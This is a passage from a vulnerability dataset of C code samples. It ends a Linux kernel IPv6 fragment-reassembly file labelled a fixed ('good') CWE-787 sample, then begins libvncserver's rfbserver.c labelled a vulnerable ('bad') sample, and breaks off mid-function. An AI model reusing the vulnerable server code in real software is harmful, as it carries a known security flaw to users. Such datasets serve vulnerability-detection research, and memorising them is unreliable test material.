((unsigned int)end > IPV6_MAXPLEN) { pr_debug("offset is too large.\n"); return -1; } ecn = ip6_frag_ecn(ipv6_hdr(skb)); if (skb->ip_summed == CHECKSUM_COMPLETE) { const unsigned char *nh = skb_network_header(skb); skb->csum = csum_sub(skb->csum, csum_partial(nh, (u8 *)(fhdr + 1) - nh, 0)); } /* Is this the final fragment? */ if (!(fhdr->frag_off & htons(IP6_MF))) { /* If we already have some bits beyond end * or have different end, the segment is corrupted. */ if (end < fq->q.len || ((fq->q.flags & INET_FRAG_LAST_IN) && end != fq->q.len)) { pr_debug("already received last fragment\n"); goto err; } fq->q.flags |= INET_FRAG_LAST_IN; fq->q.len = end; } else { /* Check if the fragment is rounded to 8 bytes. * Required by the RFC. */ if (end & 0x7) { /* RFC2460 says always send parameter problem in * this case. -DaveM */ pr_debug("end of fragment not rounded to 8 bytes.\n"); return -1; } if (end > fq->q.len) { /* Some bits beyond end -> corruption. */ if (fq->q.flags & INET_FRAG_LAST_IN) { pr_debug("last packet already reached.\n"); goto err; } fq->q.len = end; } } if (end == offset) goto err; /* Point into the IP datagram 'data' part. */ if (!pskb_pull(skb, (u8 *) (fhdr + 1) - skb->data)) { pr_debug("queue: message is too short.\n"); goto err; } if (pskb_trim_rcsum(skb, end - offset)) { pr_debug("Can't trim\n"); goto err; } /* Find out which fragments are in front and at the back of us * in the chain of fragments so far. We must know where to put * this fragment, right? */ prev = fq->q.fragments_tail; if (!prev || NFCT_FRAG6_CB(prev)->offset < offset) { next = NULL; goto found; } prev = NULL; for (next = fq->q.fragments; next != NULL; next = next->next) { if (NFCT_FRAG6_CB(next)->offset >= offset) break; /* bingo! */ prev = next; } found: /* RFC5722, Section 4: * When reassembling an IPv6 datagram, if * one or more its constituent fragments is determined to be an * overlapping fragment, the entire datagram (and any constituent * fragments, including those not yet received) MUST be silently * discarded. */ /* Check for overlap with preceding fragment. */ if (prev && (NFCT_FRAG6_CB(prev)->offset + prev->len) > offset) goto discard_fq; /* Look for overlap with succeeding segment. */ if (next && NFCT_FRAG6_CB(next)->offset < end) goto discard_fq; NFCT_FRAG6_CB(skb)->offset = offset; /* Insert this fragment in the chain of fragments. */ skb->next = next; if (!next) fq->q.fragments_tail = skb; if (prev) prev->next = skb; else fq->q.fragments = skb; if (skb->dev) { fq->iif = skb->dev->ifindex; skb->dev = NULL; } fq->q.stamp = skb->tstamp; fq->q.meat += skb->len; fq->ecn |= ecn; if (payload_len > fq->q.max_size) fq->q.max_size = payload_len; add_frag_mem_limit(fq->q.net, skb->truesize); /* The first fragment. * nhoffset is obtained from the first fragment, of course. */ if (offset == 0) { fq->nhoffset = nhoff; fq->q.flags |= INET_FRAG_FIRST_IN; } return 0; discard_fq: inet_frag_kill(&fq->q, &nf_frags); err: return -1; } /* * Check if this packet is complete. * * It is called with locked fq, and caller must check that * queue is eligible for reassembly i.e. it is not COMPLETE, * the last and the first frames arrived and all the bits are here. * * returns true if *prev skb has been transformed into the reassembled * skb, false otherwise. */ static bool nf_ct_frag6_reasm(struct frag_queue *fq, struct sk_buff *prev, struct net_device *dev) { struct sk_buff *fp, *head = fq->q.fragments; int payload_len; u8 ecn; inet_frag_kill(&fq->q, &nf_frags); WARN_ON(head == NULL); WARN_ON(NFCT_FRAG6_CB(head)->offset != 0); ecn = ip_frag_ecn_table[fq->ecn]; if (unlikely(ecn == 0xff)) return false; /* Unfragmented part is taken from the first segment. */ payload_len = ((head->data - skb_network_header(head)) - sizeof(struct ipv6hdr) + fq->q.len - sizeof(struct frag_hdr)); if (payload_len > IPV6_MAXPLEN) { net_dbg_ratelimited("nf_ct_frag6_reasm: payload len = %d\n", payload_len); return false; } /* Head of list must not be cloned. */ if (skb_unclone(head, GFP_ATOMIC)) return false; /* If the first fragment is fragmented itself, we split * it to two chunks: the first with data and paged part * and the second, holding only fragments. */ if (skb_has_frag_list(head)) { struct sk_buff *clone; int i, plen = 0; clone = alloc_skb(0, GFP_ATOMIC); if (clone == NULL) return false; clone->next = head->next; head->next = clone; skb_shinfo(clone)->frag_list = skb_shinfo(head)->frag_list; skb_frag_list_init(head); for (i = 0; i < skb_shinfo(head)->nr_frags; i++) plen += skb_frag_size(&skb_shinfo(head)->frags[i]); clone->len = clone->data_len = head->data_len - plen; head->data_len -= clone->len; head->len -= clone->len; clone->csum = 0; clone->ip_summed = head->ip_summed; add_frag_mem_limit(fq->q.net, clone->truesize); } /* morph head into last received skb: prev. * * This allows callers of ipv6 conntrack defrag to continue * to use the last skb(frag) passed into the reasm engine. * The last skb frag 'silently' turns into the full reassembled skb. * * Since prev is also part of q->fragments we have to clone it first. */ if (head != prev) { struct sk_buff *iter; fp = skb_clone(prev, GFP_ATOMIC); if (!fp) return false; fp->next = prev->next; iter = head; while (iter) { if (iter->next == prev) { iter->next = fp; break; } iter = iter->next; } skb_morph(prev, head); prev->next = head->next; consume_skb(head); head = prev; } /* We have to remove fragment header from datagram and to relocate * header in order to calculate ICV correctly. */ skb_network_header(head)[fq->nhoffset] = skb_transport_header(head)[0]; memmove(head->head + sizeof(struct frag_hdr), head->head, (head->data - head->head) - sizeof(struct frag_hdr)); head->mac_header += sizeof(struct frag_hdr); head->network_header += sizeof(struct frag_hdr); skb_shinfo(head)->frag_list = head->next; skb_reset_transport_header(head); skb_push(head, head->data - skb_network_header(head)); for (fp = head->next; fp; fp = fp->next) { head->data_len += fp->len; head->len += fp->len; if (head->ip_summed != fp->ip_summed) head->ip_summed = CHECKSUM_NONE; else if (head->ip_summed == CHECKSUM_COMPLETE) head->csum = csum_add(head->csum, fp->csum); head->truesize += fp->truesize; } sub_frag_mem_limit(fq->q.net, head->truesize); head->ignore_df = 1; head->next = NULL; head->dev = dev; head->tstamp = fq->q.stamp; ipv6_hdr(head)->payload_len = htons(payload_len); ipv6_change_dsfield(ipv6_hdr(head), 0xff, ecn); IP6CB(head)->frag_max_size = sizeof(struct ipv6hdr) + fq->q.max_size; /* Yes, and fold redundant checksum back. 8) */ if (head->ip_summed == CHECKSUM_COMPLETE) head->csum = csum_partial(skb_network_header(head), skb_network_header_len(head), head->csum); fq->q.fragments = NULL; fq->q.fragments_tail = NULL; return true; } /* * find the header just before Fragment Header. * * if success return 0 and set ... * (*prevhdrp): the value of "Next Header Field" in the header * just before Fragment Header. * (*prevhoff): the offset of "Next Header Field" in the header * just before Fragment Header. * (*fhoff) : the offset of Fragment Header. * * Based on ipv6_skip_hdr() in net/ipv6/exthdr.c * */ static int find_prev_fhdr(struct sk_buff *skb, u8 *prevhdrp, int *prevhoff, int *fhoff) { u8 nexthdr = ipv6_hdr(skb)->nexthdr; const int netoff = skb_network_offset(skb); u8 prev_nhoff = netoff + offsetof(struct ipv6hdr, nexthdr); int start = netoff + sizeof(struct ipv6hdr); int len = skb->len - start; u8 prevhdr = NEXTHDR_IPV6; while (nexthdr != NEXTHDR_FRAGMENT) { struct ipv6_opt_hdr hdr; int hdrlen; if (!ipv6_ext_hdr(nexthdr)) { return -1; } if (nexthdr == NEXTHDR_NONE) { pr_debug("next header is none\n"); return -1; } if (len < (int)sizeof(struct ipv6_opt_hdr)) { pr_debug("too short\n"); return -1; } if (skb_copy_bits(skb, start, &hdr, sizeof(hdr))) BUG(); if (nexthdr == NEXTHDR_AUTH) hdrlen = (hdr.hdrlen+2)<<2; else hdrlen = ipv6_optlen(&hdr); prevhdr = nexthdr; prev_nhoff = start; nexthdr = hdr.nexthdr; len -= hdrlen; start += hdrlen; } if (len < 0) return -1; *prevhdrp = prevhdr; *prevhoff = prev_nhoff; *fhoff = start; return 0; } int nf_ct_frag6_gather(struct net *net, struct sk_buff *skb, u32 user) { struct net_device *dev = skb->dev; int fhoff, nhoff, ret; struct frag_hdr *fhdr; struct frag_queue *fq; struct ipv6hdr *hdr; u8 prevhdr; /* Jumbo payload inhibits frag. header */ if (ipv6_hdr(skb)->payload_len == 0) { pr_debug("payload len = 0\n"); return 0; } if (find_prev_fhdr(skb, &prevhdr, &nhoff, &fhoff) < 0) return 0; if (!pskb_may_pull(skb, fhoff + sizeof(*fhdr))) return -ENOMEM; skb_set_transport_header(skb, fhoff); hdr = ipv6_hdr(skb); fhdr = (struct frag_hdr *)skb_transport_header(skb); fq = fq_find(net, fhdr->identification, user, &hdr->saddr, &hdr->daddr, skb->dev ? skb->dev->ifindex : 0, ip6_frag_ecn(hdr)); if (fq == NULL) { pr_debug("Can't find and can't create new queue\n"); return -ENOMEM; } spin_lock_bh(&fq->q.lock); if (nf_ct_frag6_queue(fq, skb, fhdr, nhoff) < 0) { ret = -EINVAL; goto out_unlock; } /* after queue has assumed skb ownership, only 0 or -EINPROGRESS * must be returned. */ ret = -EINPROGRESS; if (fq->q.flags == (INET_FRAG_FIRST_IN | INET_FRAG_LAST_IN) && fq->q.meat == fq->q.len && nf_ct_frag6_reasm(fq, skb, dev)) ret = 0; out_unlock: spin_unlock_bh(&fq->q.lock); inet_frag_put(&fq->q, &nf_frags); return ret; } EXPORT_SYMBOL_GPL(nf_ct_frag6_gather); static int nf_ct_net_init(struct net *net) { int res; net->nf_frag.frags.high_thresh = IPV6_FRAG_HIGH_THRESH; net->nf_frag.frags.low_thresh = IPV6_FRAG_LOW_THRESH; net->nf_frag.frags.timeout = IPV6_FRAG_TIMEOUT; res = inet_frags_init_net(&net->nf_frag.frags); if (res) return res; res = nf_ct_frag6_sysctl_register(net); if (res) inet_frags_uninit_net(&net->nf_frag.frags); return res; } static void nf_ct_net_exit(struct net *net) { nf_ct_frags6_sysctl_unregister(net); inet_frags_exit_net(&net->nf_frag.frags, &nf_frags); } static struct pernet_operations nf_ct_net_ops = { .init = nf_ct_net_init, .exit = nf_ct_net_exit, }; int nf_ct_frag6_init(void) { int ret = 0; nf_frags.hashfn = nf_hashfn; nf_frags.constructor = ip6_frag_init; nf_frags.destructor = NULL; nf_frags.qsize = sizeof(struct frag_queue); nf_frags.match = ip6_frag_match; nf_frags.frag_expire = nf_ct_frag6_expire; nf_frags.frags_cache_name = nf_frags_cache_name; ret = inet_frags_init(&nf_frags); if (ret) goto out; ret = register_pernet_subsys(&nf_ct_net_ops); if (ret) inet_frags_fini(&nf_frags); out: return ret; } void nf_ct_frag6_cleanup(void) { unregister_pernet_subsys(&nf_ct_net_ops); inet_frags_fini(&nf_frags); }
./CrossVul/dataset_final_sorted/CWE-787/c/good_5499_0
crossvul-cpp_data_bad_523_0
/* * rfbserver.c - deal with server-side of the RFB protocol. */ /* * Copyright (C) 2011-2012 D. R. Commander * Copyright (C) 2005 Rohit Kumar, Johannes E. Schindelin * Copyright (C) 2002 RealVNC Ltd. * OSXvnc Copyright (C) 2001 Dan McGuirk <mcguirk@incompleteness.net>. * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #define _POSIX_SOURCE #define _XOPEN_SOURCE 600 #endif #include <stdio.h> #include <string.h> #include <rfb/rfb.h> #include <rfb/rfbregion.h> #include "private.h" #include "rfb/rfbconfig.h" #ifdef LIBVNCSERVER_HAVE_FCNTL_H #include <fcntl.h> #endif #ifdef WIN32 #include <winsock2.h> #include <ws2tcpip.h> #include <io.h> #define write(sock,buf,len) send(sock,buf,len,0) #else #ifdef LIBVNCSERVER_HAVE_UNISTD_H #include <unistd.h> #endif #include <pwd.h> #ifdef LIBVNCSERVER_HAVE_SYS_SOCKET_H #include <sys/socket.h> #endif #ifdef LIBVNCSERVER_HAVE_NETINET_IN_H #include <netinet/in.h> #include <netinet/tcp.h> #include <netdb.h> #include <arpa/inet.h> #endif #endif #ifdef DEBUGPROTO #undef DEBUGPROTO #define DEBUGPROTO(x) x #else #define DEBUGPROTO(x) #endif #include <stdarg.h> #include <scale.h> /* stst() */ #include <sys/types.h> #include <sys/stat.h> #if LIBVNCSERVER_HAVE_UNISTD_H #include <unistd.h> #endif #ifndef WIN32 /* readdir() */ #include <dirent.h> #endif /* errno */ #include <errno.h> /* strftime() */ #include <time.h> #ifdef LIBVNCSERVER_WITH_WEBSOCKETS #include "rfbssl.h" #endif #ifdef _MSC_VER #define snprintf _snprintf /* Missing in MSVC */ /* Prevent POSIX deprecation warnings */ #define close _close #define strdup _strdup #endif #ifdef WIN32 #include <direct.h> #ifdef __MINGW32__ #define mkdir(path, perms) mkdir(path) /* Omit the perms argument to match POSIX signature */ #else /* MSVC and other windows compilers */ #define mkdir(path, perms) _mkdir(path) /* Omit the perms argument to match POSIX signature */ #endif /* __MINGW32__ else... */ #ifndef S_ISDIR #define S_ISDIR(m) (((m) & S_IFDIR) == S_IFDIR) #endif #endif #ifdef LIBVNCSERVER_HAVE_LIBJPEG /* * Map of quality levels to provide compatibility with TightVNC/TigerVNC * clients. This emulates the behavior of the TigerVNC Server. */ static const int tight2turbo_qual[10] = { 15, 29, 41, 42, 62, 77, 79, 86, 92, 100 }; static const int tight2turbo_subsamp[10] = { 1, 1, 1, 2, 2, 2, 0, 0, 0, 0 }; #endif static void rfbProcessClientProtocolVersion(rfbClientPtr cl); static void rfbProcessClientNormalMessage(rfbClientPtr cl); static void rfbProcessClientInitMessage(rfbClientPtr cl); #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD void rfbIncrClientRef(rfbClientPtr cl) { LOCK(cl->refCountMutex); cl->refCount++; UNLOCK(cl->refCountMutex); } void rfbDecrClientRef(rfbClientPtr cl) { LOCK(cl->refCountMutex); cl->refCount--; if(cl->refCount<=0) /* just to be sure also < 0 */ TSIGNAL(cl->deleteCond); UNLOCK(cl->refCountMutex); } #else void rfbIncrClientRef(rfbClientPtr cl) {} void rfbDecrClientRef(rfbClientPtr cl) {} #endif #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD static MUTEX(rfbClientListMutex); #endif struct rfbClientIterator { rfbClientPtr next; rfbScreenInfoPtr screen; rfbBool closedToo; }; void rfbClientListInit(rfbScreenInfoPtr rfbScreen) { if(sizeof(rfbBool)!=1) { /* a sanity check */ fprintf(stderr,"rfbBool's size is not 1 (%d)!\n",(int)sizeof(rfbBool)); /* we cannot continue, because rfbBool is supposed to be char everywhere */ exit(1); } rfbScreen->clientHead = NULL; INIT_MUTEX(rfbClientListMutex); } rfbClientIteratorPtr rfbGetClientIterator(rfbScreenInfoPtr rfbScreen) { rfbClientIteratorPtr i = (rfbClientIteratorPtr)malloc(sizeof(struct rfbClientIterator)); i->next = NULL; i->screen = rfbScreen; i->closedToo = FALSE; return i; } rfbClientIteratorPtr rfbGetClientIteratorWithClosed(rfbScreenInfoPtr rfbScreen) { rfbClientIteratorPtr i = (rfbClientIteratorPtr)malloc(sizeof(struct rfbClientIterator)); i->next = NULL; i->screen = rfbScreen; i->closedToo = TRUE; return i; } rfbClientPtr rfbClientIteratorHead(rfbClientIteratorPtr i) { #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD if(i->next != 0) { rfbDecrClientRef(i->next); rfbIncrClientRef(i->screen->clientHead); } #endif LOCK(rfbClientListMutex); i->next = i->screen->clientHead; UNLOCK(rfbClientListMutex); return i->next; } rfbClientPtr rfbClientIteratorNext(rfbClientIteratorPtr i) { if(i->next == 0) { LOCK(rfbClientListMutex); i->next = i->screen->clientHead; UNLOCK(rfbClientListMutex); } else { IF_PTHREADS(rfbClientPtr cl = i->next); i->next = i->next->next; IF_PTHREADS(rfbDecrClientRef(cl)); } #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD if(!i->closedToo) while(i->next && i->next->sock<0) i->next = i->next->next; if(i->next) rfbIncrClientRef(i->next); #endif return i->next; } void rfbReleaseClientIterator(rfbClientIteratorPtr iterator) { IF_PTHREADS(if(iterator->next) rfbDecrClientRef(iterator->next)); free(iterator); } /* * rfbNewClientConnection is called from sockets.c when a new connection * comes in. */ void rfbNewClientConnection(rfbScreenInfoPtr rfbScreen, int sock) { rfbNewClient(rfbScreen,sock); } /* * rfbReverseConnection is called to make an outward * connection to a "listening" RFB client. */ rfbClientPtr rfbReverseConnection(rfbScreenInfoPtr rfbScreen, char *host, int port) { int sock; rfbClientPtr cl; if ((sock = rfbConnect(rfbScreen, host, port)) < 0) return (rfbClientPtr)NULL; cl = rfbNewClient(rfbScreen, sock); if (cl) { cl->reverseConnection = TRUE; } return cl; } void rfbSetProtocolVersion(rfbScreenInfoPtr rfbScreen, int major_, int minor_) { /* Permit the server to set the version to report */ /* TODO: sanity checking */ if ((major_==3) && (minor_ > 2 && minor_ < 9)) { rfbScreen->protocolMajorVersion = major_; rfbScreen->protocolMinorVersion = minor_; } else rfbLog("rfbSetProtocolVersion(%d,%d) set to invalid values\n", major_, minor_); } /* * rfbNewClient is called when a new connection has been made by whatever * means. */ static rfbClientPtr rfbNewTCPOrUDPClient(rfbScreenInfoPtr rfbScreen, int sock, rfbBool isUDP) { rfbProtocolVersionMsg pv; rfbClientIteratorPtr iterator; rfbClientPtr cl,cl_; #ifdef LIBVNCSERVER_IPv6 struct sockaddr_storage addr; #else struct sockaddr_in addr; #endif socklen_t addrlen = sizeof(addr); rfbProtocolExtension* extension; cl = (rfbClientPtr)calloc(sizeof(rfbClientRec),1); cl->screen = rfbScreen; cl->sock = sock; cl->viewOnly = FALSE; /* setup pseudo scaling */ cl->scaledScreen = rfbScreen; cl->scaledScreen->scaledScreenRefCount++; rfbResetStats(cl); cl->clientData = NULL; cl->clientGoneHook = rfbDoNothingWithClient; if(isUDP) { rfbLog(" accepted UDP client\n"); } else { #ifdef LIBVNCSERVER_IPv6 char host[1024]; #endif int one=1; getpeername(sock, (struct sockaddr *)&addr, &addrlen); #ifdef LIBVNCSERVER_IPv6 if(getnameinfo((struct sockaddr*)&addr, addrlen, host, sizeof(host), NULL, 0, NI_NUMERICHOST) != 0) { rfbLogPerror("rfbNewClient: error in getnameinfo"); cl->host = strdup(""); } else cl->host = strdup(host); #else cl->host = strdup(inet_ntoa(addr.sin_addr)); #endif rfbLog(" other clients:\n"); iterator = rfbGetClientIterator(rfbScreen); while ((cl_ = rfbClientIteratorNext(iterator)) != NULL) { rfbLog(" %s\n",cl_->host); } rfbReleaseClientIterator(iterator); if(!rfbSetNonBlocking(sock)) { close(sock); return NULL; } if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&one, sizeof(one)) < 0) { rfbLogPerror("setsockopt failed: can't set TCP_NODELAY flag, non TCP socket?"); } FD_SET(sock,&(rfbScreen->allFds)); rfbScreen->maxFd = rfbMax(sock,rfbScreen->maxFd); INIT_MUTEX(cl->outputMutex); INIT_MUTEX(cl->refCountMutex); INIT_MUTEX(cl->sendMutex); INIT_COND(cl->deleteCond); cl->state = RFB_PROTOCOL_VERSION; cl->reverseConnection = FALSE; cl->readyForSetColourMapEntries = FALSE; cl->useCopyRect = FALSE; cl->preferredEncoding = -1; cl->correMaxWidth = 48; cl->correMaxHeight = 48; #ifdef LIBVNCSERVER_HAVE_LIBZ cl->zrleData = NULL; #endif cl->copyRegion = sraRgnCreate(); cl->copyDX = 0; cl->copyDY = 0; cl->modifiedRegion = sraRgnCreateRect(0,0,rfbScreen->width,rfbScreen->height); INIT_MUTEX(cl->updateMutex); INIT_COND(cl->updateCond); cl->requestedRegion = sraRgnCreate(); cl->format = cl->screen->serverFormat; cl->translateFn = rfbTranslateNone; cl->translateLookupTable = NULL; LOCK(rfbClientListMutex); IF_PTHREADS(cl->refCount = 0); cl->next = rfbScreen->clientHead; cl->prev = NULL; if (rfbScreen->clientHead) rfbScreen->clientHead->prev = cl; rfbScreen->clientHead = cl; UNLOCK(rfbClientListMutex); #if defined(LIBVNCSERVER_HAVE_LIBZ) || defined(LIBVNCSERVER_HAVE_LIBPNG) cl->tightQualityLevel = -1; #ifdef LIBVNCSERVER_HAVE_LIBJPEG cl->tightCompressLevel = TIGHT_DEFAULT_COMPRESSION; cl->turboSubsampLevel = TURBO_DEFAULT_SUBSAMP; { int i; for (i = 0; i < 4; i++) cl->zsActive[i] = FALSE; } #endif #endif cl->fileTransfer.fd = -1; cl->enableCursorShapeUpdates = FALSE; cl->enableCursorPosUpdates = FALSE; cl->useRichCursorEncoding = FALSE; cl->enableLastRectEncoding = FALSE; cl->enableKeyboardLedState = FALSE; cl->enableSupportedMessages = FALSE; cl->enableSupportedEncodings = FALSE; cl->enableServerIdentity = FALSE; cl->lastKeyboardLedState = -1; cl->cursorX = rfbScreen->cursorX; cl->cursorY = rfbScreen->cursorY; cl->useNewFBSize = FALSE; #ifdef LIBVNCSERVER_HAVE_LIBZ cl->compStreamInited = FALSE; cl->compStream.total_in = 0; cl->compStream.total_out = 0; cl->compStream.zalloc = Z_NULL; cl->compStream.zfree = Z_NULL; cl->compStream.opaque = Z_NULL; cl->zlibCompressLevel = 5; #endif cl->progressiveSliceY = 0; cl->extensions = NULL; cl->lastPtrX = -1; #ifdef LIBVNCSERVER_WITH_WEBSOCKETS /* * Wait a few ms for the client to send WebSockets connection (TLS/SSL or plain) */ if (!webSocketsCheck(cl)) { /* Error reporting handled in webSocketsHandshake */ rfbCloseClient(cl); rfbClientConnectionGone(cl); return NULL; } #endif sprintf(pv,rfbProtocolVersionFormat,rfbScreen->protocolMajorVersion, rfbScreen->protocolMinorVersion); if (rfbWriteExact(cl, pv, sz_rfbProtocolVersionMsg) < 0) { rfbLogPerror("rfbNewClient: write"); rfbCloseClient(cl); rfbClientConnectionGone(cl); return NULL; } } for(extension = rfbGetExtensionIterator(); extension; extension=extension->next) { void* data = NULL; /* if the extension does not have a newClient method, it wants * to be initialized later. */ if(extension->newClient && extension->newClient(cl, &data)) rfbEnableExtension(cl, extension, data); } rfbReleaseExtensionIterator(); switch (cl->screen->newClientHook(cl)) { case RFB_CLIENT_ON_HOLD: cl->onHold = TRUE; break; case RFB_CLIENT_ACCEPT: cl->onHold = FALSE; break; case RFB_CLIENT_REFUSE: rfbCloseClient(cl); rfbClientConnectionGone(cl); cl = NULL; break; } return cl; } rfbClientPtr rfbNewClient(rfbScreenInfoPtr rfbScreen, int sock) { return(rfbNewTCPOrUDPClient(rfbScreen,sock,FALSE)); } rfbClientPtr rfbNewUDPClient(rfbScreenInfoPtr rfbScreen) { return((rfbScreen->udpClient= rfbNewTCPOrUDPClient(rfbScreen,rfbScreen->udpSock,TRUE))); } /* * rfbClientConnectionGone is called from sockets.c just after a connection * has gone away. */ void rfbClientConnectionGone(rfbClientPtr cl) { #if defined(LIBVNCSERVER_HAVE_LIBZ) && defined(LIBVNCSERVER_HAVE_LIBJPEG) int i; #endif LOCK(rfbClientListMutex); if (cl->prev) cl->prev->next = cl->next; else cl->screen->clientHead = cl->next; if (cl->next) cl->next->prev = cl->prev; UNLOCK(rfbClientListMutex); #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD if(cl->screen->backgroundLoop != FALSE) { int i; do { LOCK(cl->refCountMutex); i=cl->refCount; if(i>0) WAIT(cl->deleteCond,cl->refCountMutex); UNLOCK(cl->refCountMutex); } while(i>0); } #endif if(cl->sock>=0) close(cl->sock); if (cl->scaledScreen!=NULL) cl->scaledScreen->scaledScreenRefCount--; #ifdef LIBVNCSERVER_HAVE_LIBZ rfbFreeZrleData(cl); #endif rfbFreeUltraData(cl); /* free buffers holding pixel data before and after encoding */ free(cl->beforeEncBuf); free(cl->afterEncBuf); if(cl->sock>=0) FD_CLR(cl->sock,&(cl->screen->allFds)); cl->clientGoneHook(cl); rfbLog("Client %s gone\n",cl->host); free(cl->host); #ifdef LIBVNCSERVER_HAVE_LIBZ /* Release the compression state structures if any. */ if ( cl->compStreamInited ) { deflateEnd( &(cl->compStream) ); } #ifdef LIBVNCSERVER_HAVE_LIBJPEG for (i = 0; i < 4; i++) { if (cl->zsActive[i]) deflateEnd(&cl->zsStruct[i]); } #endif #endif if (cl->screen->pointerClient == cl) cl->screen->pointerClient = NULL; sraRgnDestroy(cl->modifiedRegion); sraRgnDestroy(cl->requestedRegion); sraRgnDestroy(cl->copyRegion); if (cl->translateLookupTable) free(cl->translateLookupTable); TINI_COND(cl->updateCond); TINI_MUTEX(cl->updateMutex); /* make sure outputMutex is unlocked before destroying */ LOCK(cl->outputMutex); UNLOCK(cl->outputMutex); TINI_MUTEX(cl->outputMutex); LOCK(cl->sendMutex); UNLOCK(cl->sendMutex); TINI_MUTEX(cl->sendMutex); #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD close(cl->pipe_notify_client_thread[0]); close(cl->pipe_notify_client_thread[1]); #endif rfbPrintStats(cl); rfbResetStats(cl); free(cl); } /* * rfbProcessClientMessage is called when there is data to read from a client. */ void rfbProcessClientMessage(rfbClientPtr cl) { switch (cl->state) { case RFB_PROTOCOL_VERSION: rfbProcessClientProtocolVersion(cl); return; case RFB_SECURITY_TYPE: rfbProcessClientSecurityType(cl); return; case RFB_AUTHENTICATION: rfbAuthProcessClientMessage(cl); return; case RFB_INITIALISATION: case RFB_INITIALISATION_SHARED: rfbProcessClientInitMessage(cl); return; default: rfbProcessClientNormalMessage(cl); return; } } /* * rfbProcessClientProtocolVersion is called when the client sends its * protocol version. */ static void rfbProcessClientProtocolVersion(rfbClientPtr cl) { rfbProtocolVersionMsg pv; int n, major_, minor_; if ((n = rfbReadExact(cl, pv, sz_rfbProtocolVersionMsg)) <= 0) { if (n == 0) rfbLog("rfbProcessClientProtocolVersion: client gone\n"); else rfbLogPerror("rfbProcessClientProtocolVersion: read"); rfbCloseClient(cl); return; } pv[sz_rfbProtocolVersionMsg] = 0; if (sscanf(pv,rfbProtocolVersionFormat,&major_,&minor_) != 2) { rfbErr("rfbProcessClientProtocolVersion: not a valid RFB client: %s\n", pv); rfbCloseClient(cl); return; } rfbLog("Client Protocol Version %d.%d\n", major_, minor_); if (major_ != rfbProtocolMajorVersion) { rfbErr("RFB protocol version mismatch - server %d.%d, client %d.%d", cl->screen->protocolMajorVersion, cl->screen->protocolMinorVersion, major_,minor_); rfbCloseClient(cl); return; } /* Check for the minor version use either of the two standard version of RFB */ /* * UltraVNC Viewer detects FileTransfer compatible servers via rfb versions * 3.4, 3.6, 3.14, 3.16 * It's a bad method, but it is what they use to enable features... * maintaining RFB version compatibility across multiple servers is a pain * Should use something like ServerIdentity encoding */ cl->protocolMajorVersion = major_; cl->protocolMinorVersion = minor_; rfbLog("Protocol version sent %d.%d, using %d.%d\n", major_, minor_, rfbProtocolMajorVersion, cl->protocolMinorVersion); rfbAuthNewClient(cl); } void rfbClientSendString(rfbClientPtr cl, const char *reason) { char *buf; int len = strlen(reason); rfbLog("rfbClientSendString(\"%s\")\n", reason); buf = (char *)malloc(4 + len); ((uint32_t *)buf)[0] = Swap32IfLE(len); memcpy(buf + 4, reason, len); if (rfbWriteExact(cl, buf, 4 + len) < 0) rfbLogPerror("rfbClientSendString: write"); free(buf); rfbCloseClient(cl); } /* * rfbClientConnFailed is called when a client connection has failed either * because it talks the wrong protocol or it has failed authentication. */ void rfbClientConnFailed(rfbClientPtr cl, const char *reason) { char *buf; int len = strlen(reason); rfbLog("rfbClientConnFailed(\"%s\")\n", reason); buf = (char *)malloc(8 + len); ((uint32_t *)buf)[0] = Swap32IfLE(rfbConnFailed); ((uint32_t *)buf)[1] = Swap32IfLE(len); memcpy(buf + 8, reason, len); if (rfbWriteExact(cl, buf, 8 + len) < 0) rfbLogPerror("rfbClientConnFailed: write"); free(buf); rfbCloseClient(cl); } /* * rfbProcessClientInitMessage is called when the client sends its * initialisation message. */ static void rfbProcessClientInitMessage(rfbClientPtr cl) { rfbClientInitMsg ci; union { char buf[256]; rfbServerInitMsg si; } u; int len, n; rfbClientIteratorPtr iterator; rfbClientPtr otherCl; rfbExtensionData* extension; if (cl->state == RFB_INITIALISATION_SHARED) { /* In this case behave as though an implicit ClientInit message has * already been received with a shared-flag of true. */ ci.shared = 1; /* Avoid the possibility of exposing the RFB_INITIALISATION_SHARED * state to calling software. */ cl->state = RFB_INITIALISATION; } else { if ((n = rfbReadExact(cl, (char *)&ci,sz_rfbClientInitMsg)) <= 0) { if (n == 0) rfbLog("rfbProcessClientInitMessage: client gone\n"); else rfbLogPerror("rfbProcessClientInitMessage: read"); rfbCloseClient(cl); return; } } memset(u.buf,0,sizeof(u.buf)); u.si.framebufferWidth = Swap16IfLE(cl->screen->width); u.si.framebufferHeight = Swap16IfLE(cl->screen->height); u.si.format = cl->screen->serverFormat; u.si.format.redMax = Swap16IfLE(u.si.format.redMax); u.si.format.greenMax = Swap16IfLE(u.si.format.greenMax); u.si.format.blueMax = Swap16IfLE(u.si.format.blueMax); strncpy(u.buf + sz_rfbServerInitMsg, cl->screen->desktopName, 127); len = strlen(u.buf + sz_rfbServerInitMsg); u.si.nameLength = Swap32IfLE(len); if (rfbWriteExact(cl, u.buf, sz_rfbServerInitMsg + len) < 0) { rfbLogPerror("rfbProcessClientInitMessage: write"); rfbCloseClient(cl); return; } for(extension = cl->extensions; extension;) { rfbExtensionData* next = extension->next; if(extension->extension->init && !extension->extension->init(cl, extension->data)) /* extension requested that it be removed */ rfbDisableExtension(cl, extension->extension); extension = next; } cl->state = RFB_NORMAL; if (!cl->reverseConnection && (cl->screen->neverShared || (!cl->screen->alwaysShared && !ci.shared))) { if (cl->screen->dontDisconnect) { iterator = rfbGetClientIterator(cl->screen); while ((otherCl = rfbClientIteratorNext(iterator)) != NULL) { if ((otherCl != cl) && (otherCl->state == 